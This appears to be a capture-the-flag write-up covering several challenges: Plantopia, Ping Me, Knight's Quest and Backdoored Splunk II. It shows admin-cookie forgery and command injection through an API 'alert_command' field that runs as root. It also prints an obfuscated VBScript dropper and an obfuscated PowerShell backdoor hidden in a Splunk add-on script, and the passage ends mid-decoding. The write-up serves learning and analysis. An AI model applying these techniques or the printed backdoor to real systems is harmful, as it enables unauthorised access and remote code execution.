For this challenge, we are provided with a container hosting the web app Plantopia and given credentials for a normal user to begin with.
Upon logging in, we can access the API documentation, which is hosted on a Swagger API documentation site.
Here, we can see that most of the endpoints require a base64-encoded bearer token. By opening the developer tools in the browser and checking the cookies for this site, we can find an auth cookie containing the following data: dGVzdHVzZXIuMC4xNzI5NzYxMTQ0
. When decoded using CyberChef, this value translates to testuser.0.1729761144
. I assumed the 0
indicates a normal user, so I changed it to 1
, re-encoded it in base64, and updated the cookie.
This successfully elevated my privileges to an admin level.
Next, in the API documentation, we can see that the endpoint /api/plants/{plant_id}/edit
accepts the following values:
1
2
3
4
5
6
{
"description": "A beautiful sunflower.",
"sunlight_level": 80,
"watering_threshold": 50,
"alert_command": "/usr/sbin/sendmail -t"
}
I used this endpoint to change the alert_command
to whoami
and sent the updated request to the server, which returned this response:
1
2
3
{
"message": "Plant details updated"
}
This indicates that I successfully changed the command to whoami
.
Next, I used the /api/admin/sendmail
endpoint to execute the command.
Checking the logs on the website, we see the following:
1
2
3
2024-10-24 08:33:50,267 - DEBUG - Executing alert command for plant 1: whoami
2024-10-24 08:33:50,267 - DEBUG - Executing command: whoami
2024-10-24 08:33:50,270 - DEBUG - Command output: root
It appears the application runs as root
, which means we can now update the command to cat flag.txt
.
This is what appears in the log after you have updated the command:
1
2
3
2024-10-24 08:36:27,743 - DEBUG - Executing alert command for plant 1: cat flag.txt
2024-10-24 08:36:27,743 - DEBUG - Executing command: cat flag.txt
2024-10-24 08:36:27,746 - DEBUG - Command output: flag{c29c4d53fc432f7caeb573a9f6eae6c6}
Flag: flag{c29c4d53fc432f7caeb573a9f6eae6c6}
Ping me
Author: @JohnHammond
Category: Malware
We found this file in the autoruns of a host that seemed to have a lot of network activity… can you figure out what it was doing?
For this challenge, we are given the obfuscated script ping_me.vbs
. The code appears as follows:
1
Execute chr(-8710+CLng(&H224A))&chr(CLng(&H1C3C)-7123)&chr(-1048+CLng(&H485))&chr(-431+CLng(&H1CF))&chr(CLng(&HECA)-3671)&chr(CLng(&H1EA3)-7739)&chr(-9460+CLng(&H2520))&chr(92448/CLng(&HB49))&chr(-8198+CLng(&H206F))&chr(CLng(&H2543)-9427)&chr(CLng(&H10E8)-4213)&chr(-5011+CLng(&H13BF))&chr(-1785+CLng(&H719))&chr(-4404+CLng(&H119D))&chr(CLng(&H128)-238)&chr(145748/CLng(&H6DC))&chr(-8792+CLng(&H22BD))&chr(-8446+CLng(&H2172))&chr(-8584+CLng(&H21A8))&chr(-1707+CLng(&H71E))&chr(57720/CLng(&H22B))&chr(CLng(&HDBB)-3483)&chr(-100+CLng(&HA1))&chr(291968/CLng(&H23A4))&chr(-2989+CLng(&HBF0))&chr(-1419+CLng(&H5FD))&chr(CLng(&H214E)-8425)&chr(CLng(&H1472)-5137)&chr(-9475+CLng(&H2577))&chr(-1670+CLng(&H6EB))v&chr(CLng(&H18EC)-6301)&chr(-9755+CLng(&H267D))&chr(CLng(&HDF6)-3468)&chr(CLng(&H448)-995)&chr(-8152+CLng(&H203B))&chr(782420/CLng(&H1A59))&chr(316960/CLng(&H1EF4))&chr(174726/CLng(&H1413))&chr(-9716+CLng(&H264B))&chr(-2558+CLng(&HA51))&chr(-5012+CLng(&H13F7))&chr(28500/CLng(&HFA))&chr(CLng(&H1795)-5932)&chr(-6173+CLng(&H188D))&chr(832532/CLng(&H1C09))&chr(-8496+CLng(&H215E))&chr(-3982+CLng(&HFE1))&chr(251264/CLng(&H970))&chr(-7986+CLng(&H1F97))&chr(368496/CLng(&HD54))&chr(-1468+CLng(&H628))&chr(CLng(&HB64)-2882)&chr(-2898+CLng(&HB7B))&chr(CLng(&H1A1D)-6627)&chr(-4869+CLng(&H136E))&chr(-2229+CLng(&H925))&chr(1141490/CLng(&H26C6))&chr(-8427+CLng(&H210B))&chr(469212/CLng(&H1E0C))&chr(154656/CLng(&H12E1))&chr(CLng(&HE7B)-3642)&chr(995334/CLng(&H221B))&chr(CLng(&H51F)-1197)&chr(-1494+CLng(&H637))&chr(366267/CLng(&HBD3))&chr(267760/CLng(&H1A26))&chr(-8315+CLng(&H209D))&chr(-5088+CLng(&H1411))&chr(CLng(&H228)-504)&chr(108500/CLng(&H87A))&chr(-3564+CLng(&HE1A))&chr(CLng(&HE53)-3618)&chr(-88+CLng(&H88))&chr(CLng(&H9D9)-2465)&chr(CLng(&HC1D)-3055)&chr(CLng(&H40E)-981)&chr(-81+CLng(&H88))&chr(-8079+CLng(&H1FBD))&chr(-731+CLng(&H30C))&chr(-7987+CLng(&H1F63))&chr(332418/CLng(&H1976))&chr(-6153+CLng(&H182B))&chr(86636/CLng(&H7B1))&chr(CLng(&H210C)-8428)&chr(312426/CLng(&H23E5))&chr(CLng(&H1BE9)-7096)&chr(-2275+CLng(&H915))&chr(CLng(&H17F5)-6082)&chr(CLng(&H1454)-5158)&chr(CLng(&H739)-1796)&chr(-5662+CLng(&H1652))&chr(406732/CLng(&H228A))&chr(-525+CLng(&H23E))&chr(-926+CLng(&H3CE))&chr(236496/CLng(&H133F))&chr(CLng(&HEA9)-3707)&chr(-4694+CLng(&H128A))&chr(CLng(&H1298)-4703)&chr(-6611+CLng(&H19F5))&chr(-9443+CLng(&H250F))&chr(-3311+CLng(&HD0F))&chr(-2866+CLng(&HB54))&chr(CLng(&H1154)-4379)&chr(-4462+CLng(&H11A6))&chr(CLng(&H23E8)-9146)&chr(-7553+CLng(&H1DB6))&chr(CLng(&HCC8)-3220)&chr(384560/CLng(&H20A8))&chr(-7193+CLng(&H1C4D))&chr(52976/CLng(&H3B2))&chr(-246+CLng(&H124))&chr(-94+CLng(&H93))&chr(-2410+CLng(&H99C))&chr(1394/CLng(&H29))&chr(-7683+CLng(&H1E2F))&chr(CLng(&H11BF)-4511)&chr(103156/CLng(&HBDA))&chr(CLng(&H2141)-8456)&chr(-3422+CLng(&HD96))&chr(-5494+CLng(&H15A4))&chr(-7784+CLng(&H1EA1))&chr(-5615+CLng(&H1627))&chr(-3140+CLng(&HC72))&chr(-3731+CLng(&HEC7))&chr(429210/CLng(&H1D6A))&chr(CLng(&H1674)-5702)&chr(CLng(&H24E0)-9383)&chr(-4514+CLng(&H11DA))&chr(-3409+CLng(&HD73))&chr(-4128+CLng(&H104C))&chr(286560/CLng(&H22FB))&chr(-2859+CLng(&HB4D))&chr(CLng(&H25BA)-9605)&chr(-3495+CLng(&HDDB))&chr(-3701+CLng(&HEA3))&chr(196490/CLng(&HFAA))&chr(CLng(&HE41)-3601)&chr(-4045+CLng(&HFFD))&chr(-1431+CLng(&H5C5))&chr(CLng(&HD84)-3403)&chr(-5771+CLng(&H16C2))&chr(-4782+CLng(&H12DC))&chr(154071/CLng(&HB5B))&chr(402290/CLng(&H2012))&chr(-1655+CLng(&H699))&chr(295328/CLng(&H1A38))&chr(CLng(&H21AD)-8589)&chr(-5308+CLng(&H14DE))&chr(-7308+CLng(&H1CC1))&chr(-7625+CLng(&H1DF9))&chr(CLng(&H1775)-5959)&chr(CLng(&H8EB)-2226)&chr(-5757+CLng(&H16B5))&chr(CLng(&H1568)-5434)&chr(381865/CLng(&H1C25))&chr(CLng(&HCBD)-3207)&chr(-6638+CLng(&H1A1C))&chr(99921/CLng(&H6D9))&chr(80304/CLng(&H59A))&chr(-7805+CLng(&H1E9F))&chr(-1820+CLng(&H748))&chr(CLng(&H18B3)-6291)&chr(-5640+CLng(&H162A))&chr(-4824+CLng(&H1311))&chr(352744/CLng(&H189B))&chr(-292+CLng(&H152))&chr(CLng(&H20B8)-8319)&chr(-1584+CLng(&H669))&chr(CLng(&H8C7)-2201)&chr(-2187+CLng(&H8C4))&chr(CLng(&HDC5)-3470)&chr(-3268+CLng(&HCF2))&chr(-5577+CLng(&H15FE))&chr(-309+CLng(&H16C))&chr(-1144+CLng(&H49A))&chr(-9516+CLng(&H2558))&chr(CLng(&H3CD)-941)&chr(-4067+CLng(&H1005))&chr(289198/CLng(&H170E))&chr(-3400+CLng(&HD78))&chr(-8493+CLng(&H215E))&chr(-5902+CLng(&H173C))&chr(387112/CLng(&H1C88))&chr(-6594+CLng(&H19F2))&chr(CLng(&H160F)-5601)&chr(CLng(&HE38)-3587)&chr(460252/CLng(&H2293))&chr(-306+CLng(&H160))&chr(-1576+CLng(&H659))&chr(-853+CLng(&H385))&chr(32640/CLng(&H2A8))&chr(-5770+CLng(&H16AC))&chr(406472/CLng(&H2416))&chr(59552/CLng(&H745))&chr(-3842+CLng(&HF24))&chr(135733/CLng(&HA01))&chr(-4781+CLng(&H12E0))&chr(347576/CLng(&H1D84))&chr(-1448+CLng(&H5DC))&chr(567777/CLng(&H26E9))&chr(CLng(&H2660)-9778)&chr(-6322+CLng(&H18E7))&chr(368526/CLng(&H1C3A))&chr(-9529+CLng(&H2567))&chr(-3965+CLng(&HFB2))&chr(CLng(&H14C3)-5261)&chr(-505+CLng(&H21B))&chr(-532+CLng(&H240))&chr(68352/CLng(&H858))&chr(-789+CLng(&H337))&chr(CLng(&H382)-845)&chr(-9302+CLng(&H248D))&chr(-5774+CLng(&H16BC))&chr(20972/CLng(&H1AC))&chr(CLng(&H22F9)-8903)&chr(-1558+CLng(&H64B))&chr(-8186+CLng(&H2028))&chr(CLng(&H527)-1268)&chr(-9869+CLng(&H26C2))&chr(-6122+CLng(&H1818))&chr(CLng(&H1E3C)-7689)&chr(-4075+CLng(&H1020))&chr(4658/CLng(&H89))&chr(CLng(&H11F7)-4558)&chr(357222/CLng(&H180F))&chr(540120/CLng(&H1E24))&chr(-836+CLng(&H3B3))&chr(986100/CLng(&H21CA))&chr(-2426+CLng(&H99A))&chr(CLng(&H1329)-4800)&chr(191968/CLng(&H176F))&chr(CLng(&H8A9)-2156)&chr(CLng(&H1ED5)-7861)&chr(5616/CLng(&H75))&chr(312224/CLng(&H261D))&chr(152208/CLng(&H714))&chr(CLng(&H12CB)-4700)&chr(CLng(&H202)-482)&chr(217685/CLng(&HA01))&chr(465036/CLng(&H1B86))&chr(-1002+CLng(&H459))&chr(630162/CLng(&H150A))&chr(669680/CLng(&H17C8))&chr(-2383+CLng(&H9B3))&chr(CLng(&H1385)-4957)&chr(-9107+CLng(&H23FC))&chr(1078112/CLng(&H259A))&chr(-1751+CLng(&H74A))&chr(274864/CLng(&H1A30))&chr(-1911+CLng(&H7B1))&chr(-368+CLng(&H190))&chr(-7293+CLng(&H1C9D))&chr(-5151+CLng(&H143F))&chr(-2252+CLng(&H8EC))&chr(CLng(&HA30)-2493)&chr(CLng(&H18D3)-6251)&chr(-7857+CLng(&H1EDF))&chr(-657+CLng(&H2E3))&chr(-3390+CLng(&HDB3))&chr(-6553+CLng(&H1A07))&chr(-5826+CLng(&H16E2))&chr(-567+CLng(&H259))&chr(-5399+CLng(&H157A))&chr(CLng(&H1473)-5126)&chr(24+CLng(&H4C))&chr(32960/CLng(&H406))&chr(CLng(&H1D18)-7401)&chr(105381/CLng(&H515))&chr(221824/CLng(&H1B14))&chr(136206/CLng(&HB52))&chr(341055/CLng(&HD75))&chr(289632/CLng(&H235B))&chr(-9504+CLng(&H2590))&chr(692055/CLng(&H19BF))&chr(-3239+CLng(&HD15))&chr(-7859+CLng(&H1F1A))&chr(-2106+CLng(&H85A))&chr(-3016+CLng(&HBEA))&chr(CLng(&H156B)-5451)&chr(-4032+CLng(&HFE6))&chr(309408/CLng(&H25C5))&chr(484365/CLng(&H1205))&chr(449344/CLng(&HFAC))&chr(-1842+CLng(&H7A5))&chr(86360/CLng(&H86F))&chr(997080/CLng(&H2518))&chr(CLng(&HCDA)-3249)&chr(CLng(&HD5F)-3379)&chr(-7698+CLng(&H1E32))&chr(304128/CLng(&H18C0))&chr(CLng(&H1CBB)-7311)&chr(-938+CLng(&H3CA))&chr(-9779+CLng(&H2679))&chr(CLng(&H3AC)-843)&chr(282096/CLng(&HA34))&chr(CLng(&H783)-1808)&chr(675589/CLng(&H1A21))&chr(65366/CLng(&H467))&chr(438516/CLng(&H15F6))&chr(CLng(&H5C6)-1377)&chr(83400/CLng(&H2B7))&chr(CLng(&H260D)-9625)&vbCrlf
To understand what the script does, you can simply replace the command Execute
with WScript.Echo
, which will output the content of the script instead of executing it.
When we run it, the following text box appears:
1
2
3
4
5
Dim sh, ips, i:Set sh = CreateObject("WScript.shell"):ips =
Array("102.108.97.103", "123.54.100.49", "98.54.48.52", "98.98.49.98",
"54.100.97.51", "50.98.56.98", "98.99.97.57", "101.50.54.100", "53.49.53.56",
"57.125.35.35")For i = 0 To UBound(ips): sh.Run "cmd /Q/c ping " &
ips(i), 0, False:Next
Next, we extract all the octets from the IP addresses and convert them to decimal. This conversion can be easily accomplished using CyberChef, but the following script illustrates the process more clearly.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Define a list of integers
numbers = [
102, 108, 97, 103, 123, 54, 100, 49,
98, 54, 48, 52, 98, 98, 49, 98,
54, 100, 97, 51, 50, 98, 56, 98,
98, 99, 97, 57, 101, 50, 54, 100,
53, 49, 53, 56, 57, 125, 35, 35
]
# Convert integers to corresponding characters
decoded_chars = ''.join(chr(num) for num in numbers)
# Print the result
print(f"Decoded String: {decoded_chars}")
Note: The last two octets is padding.
Flag: flag{6d1b604bb1b6da32b8bbca9e26d51589}
Knight’s Quest
Author: @HuskyHacks
Category: Reverse Engineering
An adventurer is YOU! Play Knight’s Quest, beat the three monsters, and claim the flag! Very straightforward with no surprises, no sir-ee, no surprises here lmao
When you launch the challenge, you are presented with a website where you can download a game called Knight’s Quest for either Windows, MacOS, or Linux. In the game, you need to defeat three enemies, but the final enemy has 9,999,999 health points, making that one practically unbeatable by conventional methods. Once all three enemies are defeated, the game provides a password that is required to retrieve the flag by using a curl
command.
For this challenge, I didn’t take detailed notes, but the main process was first to decompile it in BinaryNinja and then analyzing the function knightsquest/game.(*Game).runGameLoop
. In this function, I discovered that the password was hidden.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
local_250[0] = 0x42;
local_250[1] = 0x4f;
local_250[2] = 0x44;
local_250[3] = 0x55;
local_250[4] = 0x41;
local_250[5] = 0x68;
local_250[6] = 0x6b;
local_250[7] = 0x44;
/* /app/app/game/game.go:61 */
local_250[8] = 0x4d;
local_250[9] = 0x4c;
local_250[10] = 0x6a;
local_250[0xb] = 0x33;
local_250[0xc] = 0x5a;
local_250[0xd] = 0x4d;
local_250[0xe] = 0x37;
local_250[0xf] = 99;
local_250[0x10] = 0x66;
local_250[0x11] = 0x6f;
local_250[0x12] = 0x39;
local_250[0x13] = 0x55;
local_250[0x14] = 0x42;
local_250[0x15] = 0x6c;
local_250[0x16] = 0x74;
local_250[0x17] = 0x31;
local_250[0x18] = 0x41;
local_250[0x19] = 0x4e;
local_250[0x1a] = 0x55;
local_250[0x1b] = 0x42;
local_250[0x1c] = 0x59;
local_250[0x1d] = 0x37;
local_250[0x1e] = 0x4c;
local_250[0x1f] = 0x6e;
local_250[0x20] = 0x65;
local_250[0x21] = 99;
local_250[0x22] = 100;
local_250[0x23] = 0x70;
local_250[0x24] = 0x67;
local_250[0x25] = 0x68;
local_250[0x26] = 0x4c;
local_250[0x27] = 0x38;
/* /app/app/game/game.go:62 */
local_250[0x28] = 0x6d;
local_250[0x29] = 0x67;
local_250[0x2a] = 0x5a;
local_250[0x2b] = 0x59;
local_250[0x2c] = 0x4a;
local_250[0x2d] = 0x73;
local_250[0x2e] = 0x36;
local_250[0x2f] = 0x62;
local_250[0x30] = 0x68;
local_250[0x31] = 0x6f;
local_250[0x32] = 0x6e;
local_250[0x33] = 0x66;
local_250[0x34] = 0x4d;
local_250[0x35] = 0x51;
local_250[0x36] = 0x7a;
local_250[0x37] = 0x65;
local_250[0x38] = 0x44;
local_250[0x39] = 0x6a;
local_250[0x3a] = 0x73;
local_250[0x3b] = 0x70;
local_250[0x3c] = 0x49;
local_250[0x3d] = 0x34;
local_250[0x3e] = 0x4c;
local_250[0x3f] = 0x51;
/* /app/app/game/game.go:65 */
/* /app/app/game/game.go:74 */
runtime.makeslice(&datatype.Uint8.uint8,0x20,0x20);
/* /app/app/game/game.go:75 */
for (lVar5 = 0; lVar5 < 0x20; lVar5 = lVar5 + 1) {
/* /app/app/game/game.go:76 */
bVar1 = (local_250[lVar5] ^ local_250[lVar5 + 0x20]) % 0x3e;
bVar6 = bVar1 + 0x41;
*(byte *)(extraout_RAX_06 + lVar5) = bVar6;
/* /app/app/game/game.go:77 */
if (0x5a < bVar6) {
if (bVar6 < 0x61) {
/* /app/app/game/game.go:78 */
*(byte *)(extraout_RAX_06 + lVar5) = bVar1 + 0x47;
}
else {
/* /app/app/game/game.go:79 */
if (0x7a < bVar6) {
/* /app/app/game/game.go:80 */
*(byte *)(extraout_RAX_06 + lVar5) = bVar1 - 10;
}
}
}
}
Below is the script that was used to generate the password from its obfuscated state.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
def generate_password():
local_250 = [
0x42, 0x4f, 0x44, 0x55, 0x41, 0x68, 0x6b, 0x44,
0x4d, 0x4c, 0x6a, 0x33, 0x5a, 0x4d, 0x37, 0x63,
0x66, 0x6f, 0x39, 0x55, 0x42, 0x6c, 0x74, 0x31,
0x41, 0x4e, 0x55, 0x42, 0x59, 0x37, 0x4c, 0x6e,
0x65, 0x63, 0x64, 0x70, 0x67, 0x68, 0x4c, 0x38,
0x6d, 0x67, 0x5a, 0x59, 0x4a, 0x73, 0x36, 0x62,
0x68, 0x6f, 0x6e, 0x66, 0x4d, 0x51, 0x7a, 0x65,
0x44, 0x6a, 0x73, 0x70, 0x49, 0x34, 0x4c, 0x51
]
password = []
for i in range(32):
bVar1 = (local_250[i] ^ local_250[i + 32]) % 62 # Modulo 0x3e (62)
bVar6 = bVar1 + 65 # ASCII 'A' = 65
if bVar6 > 90: # Beyond 'Z'
if bVar6 < 97: # Between 'Z' and 'a'
bVar6 = bVar1 + 71 # Adjust to lowercase
elif bVar6 > 122: # Beyond 'z'
bVar6 = bVar1 - 10 # Adjust back
password.append(chr(bVar6))
return ''.join(password)
# Generate the password
flag_password = generate_password()
print("Your flag submission password is:", flag_password)
1
2
3
4
┌──(kali㉿kali)-[~/Downloads]
└─$ curl -X POST -H "Content-Type: application/json" -d '{"password":"hmafgAhAalqmQABBOAZtP3OWFegsQDAB"}' http://challenge.ctf.games:30279/submit
{"flag":"flag{40b5b7e5395ee921cbbc804d4350b9c1}"}
Flag: flag{40b5b7e5395ee921cbbc804d4350b9c1}
Backdoored Splunk II
Author: Adam Rice (@adam.huntress)
Category: Forensics
You’ve probably seen Splunk being used for good, but have you seen it used for evil?
For this challenge we are provided with a zip file and a container that, when we try to access it gives us this "Missing or invalid Authorization header"
So the first thing I thought I should look for was some kind of an authorization token or similar.
I started by using the tree
command to get an overview of all the files that were provided for the challenge.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
┌──(kali㉿kali)-[~/Downloads/Splunk_TA_windows]
└─$ tree
.
├── app.manifest
├── appserver
│ └── static
│ ├── appIcon.png
│ └── appLogo.png
├── bin
│ ├── Invoke-MonitoredScript.ps1
│ ├── log.py
│ ├── netsh_address.bat
│ ├── powershell
│ │ ├── 2012r2-health.ps1
│ │ ├── 2012r2-repl-stats.ps1
│ │ ├── 2012r2-siteinfo.ps1
│ │ ├── dns-health.ps1
│ │ ├── dns-zoneinfo.ps1
│ │ ├── generate_windows_update_logs.ps1
│ │ ├── nt6-health.ps1
│ │ ├── nt6-repl-stat.ps1
│ │ ├── nt6-siteinfo.ps1
│ │ └── windows_bios_data.ps1
│ ├── runpowershell.cmd
│ ├── user_account_control_property.py
│ ├── win_installed_apps.bat
│ ├── win_listening_ports.bat
│ ├── win_timesync_configuration.bat
│ └── win_timesync_status.bat
├── default
I thought that the multiple *.ps1
were interesting, so I started by going through them one by one. In the file: dns-health.ps1 I came across the following:
1
2
3
4
5
6
7
8
9
#
# Windows Version and Build #
#
$WindowsInfo = Get-Item "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion"
$OS = $WindowsInfo.GetValue("ProductName")
$OSSP = $WindowsInfo.GetValue("CSDVersion")
$WinVer = $WindowsInfo.GetValue("CurrentVersion")
$WinBuild = $WindowsInfo.GetValue("CurrentBuildNumber")
[STRinG]::JoIN('',[chAr[]](36 , 79 ,83 , 86, 69 ,82 ,32, 61,32,39 , 105, 101, 120 , 32 , 40 ,91 ,83 , 121 , 115 , 116,101 , 109, 46,84 ,101 ,120 , 116 ,46,69 ,110 ,99, 111 , 100, 105 ,110 ,103 ,93, 58 ,58 ,85, 84,70 , 56,46,71 ,101 ,116,83,116, 114 , 105 , 110, 103 ,40 , 91 , 83 ,121 , 115 ,116, 101, 109 , 46 ,67 ,111, 110,118 , 101, 114 ,116 , 93, 58 ,58, 70,114 ,111, 109 ,66,97 , 115, 101,54, 52 , 83 , 116 , 114 ,105 , 110,103,40 ,34,73,121 , 65 , 107,85, 69 , 57 , 83,86 ,67 ,66 ,105,90 ,87, 120, 118 , 100,121, 66,112 ,99,121 , 66 ,107 ,101, 87 , 53 , 104,98 ,87 , 108 , 106, 73 , 72 , 82 , 118 ,73, 72,82 , 111, 90 , 83, 66, 121 , 100 , 87, 53 , 117 ,97 , 87 , 53 , 110, 73,72 ,78, 108 ,99, 110 , 90 , 112, 89,50 ,85 , 103, 98 ,50 ,89,103 , 100,71,104 ,108,73, 71 ,66 , 84, 100, 71, 70 , 121 , 100 ,71 , 65, 103, 89, 110,86,48, 100,71 , 57, 117 , 68, 81, 112,65 ,75 , 67,82,111 ,100 ,71 ,49 , 115 ,73 , 68,48,103, 75 ,69, 108,117,100, 109 ,57,114 , 90 , 83 , 49,88, 90 ,87,74,83,90, 88, 70, 49, 90,88, 78 ,48, 73,71 ,104 ,48 ,100,72 , 65 , 54 ,76, 121, 57,106 , 97,71, 70,115,98 ,71, 86 ,117 , 90, 50,85 ,117,89 , 51 ,82,109,76 ,109, 100, 104,98 ,87 ,86, 122 ,79 , 105, 82 ,81 ,84 , 49,74, 85 , 73,67,49 ,73 , 90 ,87 ,70,107 , 90, 88 , 74,122 ,73,69, 66 ,55 ,81 ,88 , 86 ,48 ,97 ,71 ,57 , 121 ,97,88, 112,104, 100 ,71 ,108, 118,98,106 , 48 ,111,73 ,107, 74, 104,99,50 ,108,106,73,70, 108 , 116, 82,109,112 ,104, 77 ,108, 74 ,50 ,89,106 ,78 , 74 ,78,109 ,82, 72 , 97,72, 66, 106 ,77 , 84 ,108 ,119, 89 , 122,69, 53,77 , 71 , 70 , 72 ,86, 109,90, 104 , 83 , 70,73,119 ,89 , 48, 89 , 53 ,101 ,108, 112, 89 , 83 , 106,74 , 97, 87 ,69,112 , 109 ,89 ,122, 74,87 ,97, 109,78, 116, 86,106 , 65, 105,75, 88 , 48, 103 , 76,86 ,86 ,122, 90 , 85,74 , 104 ,99, 50,108, 106 ,85, 71, 70 ,121,99,50 , 108 , 117 , 90,121 , 107 ,117, 81,50 ,57,117, 100, 71 , 86 , 117, 100 , 65, 48 , 75,97 , 87,89 ,103, 75 ,67, 82 , 111,100 ,71 , 49, 115 ,73 ,67,49 ,116 , 89 , 88, 82,106 ,97 , 67 , 65,110, 80, 67 , 69 , 116 , 76,83 , 103, 117 , 75 ,106 , 56 ,112 ,76 , 83,48,43,74,121 , 107 ,103 , 101,119 ,48 ,75, 73,67 , 65 ,103,73 , 67 , 82, 50,89 ,87, 120,49 ,90 ,83, 65 , 57 , 73, 67, 82, 116 ,89, 88 , 82,106 ,97 ,71, 86,122, 87, 122,70,100 , 68, 81 ,111,103 , 73 ,67,65 , 103 , 74 , 71, 78 ,118, 98 ,87 ,49, 104 ,98 ,109 ,81, 103,80 , 83 , 66, 98 ,85 , 51 , 108, 122 , 100 ,71,86, 116, 76,108 ,82, 108 , 101,72,81,117 ,82,87 ,53 ,106 ,98 , 50, 82 , 112 ,98,109 ,100,100 , 79 , 106 , 112 ,86 ,86 , 69 , 89,52 ,76,107 , 100,108, 100 , 70, 78,48 ,99,109 , 108,117 , 90 , 121, 104 , 98 , 85, 51, 108 ,122, 100, 71, 86, 116 , 76 , 107, 78 ,118 ,98, 110,90, 108 , 99, 110,82,100, 79,106,112, 71,99,109, 57, 116 , 81 , 109 , 70 , 122 , 90 , 84,89 , 48 , 85, 51 , 82,121 , 97 ,87,53, 110,75,67,82 ,50,89 , 87 , 120 , 49 ,90 , 83 , 107 ,112 ,68, 81,111, 103 , 73, 67, 65 ,103 ,83 ,87, 53 ,50 , 98 , 50, 116 , 108, 76,85,86 , 52 ,99 ,72, 74 ,108, 99,51 ,78, 112 ,98, 50 , 52 , 103, 74, 71, 78,118, 98, 87 , 49 ,104 ,98, 109 ,81 , 78 ,67 ,110,48 , 112 , 34,41, 41 , 41,39 )) | &( $PsHomE[21]+$PsHoMe[30]+'X')
This seemed a bit out of the ordinary for a normal use of powershells script so I decided to decode it and got the following result:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import base64
Convert ASCII values to characters and join them into a string
ascii_values = [
36, 79, 83, 86, 69, 82, 32, 61, 32, 39, 105, 101, 120, 32, 40, 91, 83,
121, 115, 116, 101, 109, 46, 84, 101, 120, 116, 46, 69, 110, 99, 111, 100,
105, 110, 103, 93, 58, 58, 85, 84, 70, 56, 46, 71, 101, 116, 83, 116, 114,
105, 110, 103, 40, 91, 83, 121, 115, 116, 101, 109, 46, 67, 111, 110, 118,
101, 114, 116, 93, 58, 58, 70, 114, 111, 109, 66, 97, 115, 101, 54, 52, 83,
116, 114, 105, 110, 103, 40, 34, 73, 121, 65, 107, 85, 69, 57, 83, 86, 67,
66, 105, 90, 87, 120, 118, 100, 121, 66, 112, 99, 121, 66, 107, 101, 87, 53,
104, 98, 87, 108, 106, 73, 72, 82, 118, 73, 72, 82, 111, 90, 83, 66, 121,
100, 87, 53, 117, 97, 87, 53, 110, 73, 72, 78, 108, 99, 110, 90, 112, 89,
50, 85, 103, 98, 50, 89, 103, 100, 71, 104, 108, 73, 71, 66, 84, 100, 71,
70, 121, 100, 71, 65, 103, 89, 110, 86, 48, 100, 71, 57, 117, 68, 81, 112,
65, 75, 67, 82, 111, 100, 71, 49, 115, 73, 68, 48, 103, 75, 69, 108, 117,
100, 109, 57, 114, 90, 83, 49, 88, 90, 87, 74, 83, 90, 88, 70, 49, 90, 88,
78, 48, 73, 71, 104, 48, 100, 72, 65, 54, 76, 121, 57, 106, 97, 71, 70, 115,
98, 71, 86, 117, 90, 50, 85, 117, 89, 51, 82, 109, 76, 109, 100, 104, 98,
87, 86, 122, 79, 105, 82, 81, 84, 49, 74, 85, 73, 67, 49, 73, 90, 87, 70,
107, 90, 88, 74, 122, 73, 69, 66, 55, 81, 88, 86, 48, 97, 71, 57, 121, 97,
88, 112, 104, 100, 71, 108, 118, 98, 106, 48, 111, 73, 107, 74, 104, 99,
50, 108, 106, 73, 70, 108, 116, 82, 109, 112, 104, 77, 108, 74, 50, 89, 106,
78, 74, 78, 109, 82, 72, 97, 72, 66, 106, 77, 84, 108, 119, 89, 122, 69,
53, 77, 71, 70, 72, 86, 109, 90, 104, 83, 70, 73, 119, 89, 48, 89, 53, 101,
108, 112, 89, 83, 106, 74, 97, 87, 69, 112, 109, 89, 122, 74, 87, 97, 109,
78, 116, 86, 106, 65, 105, 75, 88, 48, 103, 76, 86, 86, 122, 90, 85, 74,
104, 99, 50, 108, 106, 85, 71, 70, 121, 99, 50, 108, 117, 90, 121, 107, 117,
81, 50, 57, 117, 100, 71, 86, 117, 100, 65, 48, 75, 97, 87, 89, 103, 75, 67,
82, 111, 100, 71, 49, 115, 73, 67, 49, 116, 89, 88, 82, 106, 97, 67, 65,
110, 80, 67, 69, 116, 76, 83, 103, 117, 75, 106, 56, 112, 76, 83, 48, 43,
74, 121, 107, 103, 101, 119, 48, 75, 73, 67, 65, 103, 73, 67, 82, 50, 89,
87, 120, 49, 90, 83, 65, 57, 73, 67, 82, 116, 89, 88, 82, 106, 97, 71, 86,
122, 87, 122, 70, 100, 68, 81, 111, 103, 73, 67, 65, 103, 74, 71, 78, 118,
98, 87, 49, 104, 98, 109, 81, 103, 80, 83, 66, 98, 85, 51, 108, 122, 100,
71, 86, 116, 76, 108, 82, 108, 101, 72, 81, 117, 82, 87, 53, 106, 98, 50,
82, 112, 98, 109, 100, 100, 79, 106, 112, 86, 86, 69, 89, 52, 76, 107, 100,
108, 100, 70, 78, 48, 99, 109, 108, 117, 90, 121, 104, 98, 85, 51, 108,
122, 100, 71, 86, 116, 76, 107, 78, 118, 98, 110, 90, 108, 99, 110, 82, 100,
79, 106, 112, 71, 99, 109, 57, 116, 81, 109, 70, 122, 90, 84, 89, 48, 85,
51, 82, 121, 97, 87, 53, 110, 75, 67, 82, 50, 89, 87, 120, 49, 90, 83, 107,
112, 68, 81, 111, 103, 73, 67, 65, 103, 83, 87, 53, 50, 98, 50, 116, 108,
76, 85, 86, 52, 99, 72, 74, 108, 99, 51, 78, 112, 98, 50, 52, 103, 74, 71,
78, 118, 98, 87, 49, 104, 98, 109, 81, 78, 67, 110, 48, 112, 34, 41, 41, 41,
39
]
# Join ASCII values to form the PowerShell command string
command_string = ''.join(chr(val) for val in ascii_values)
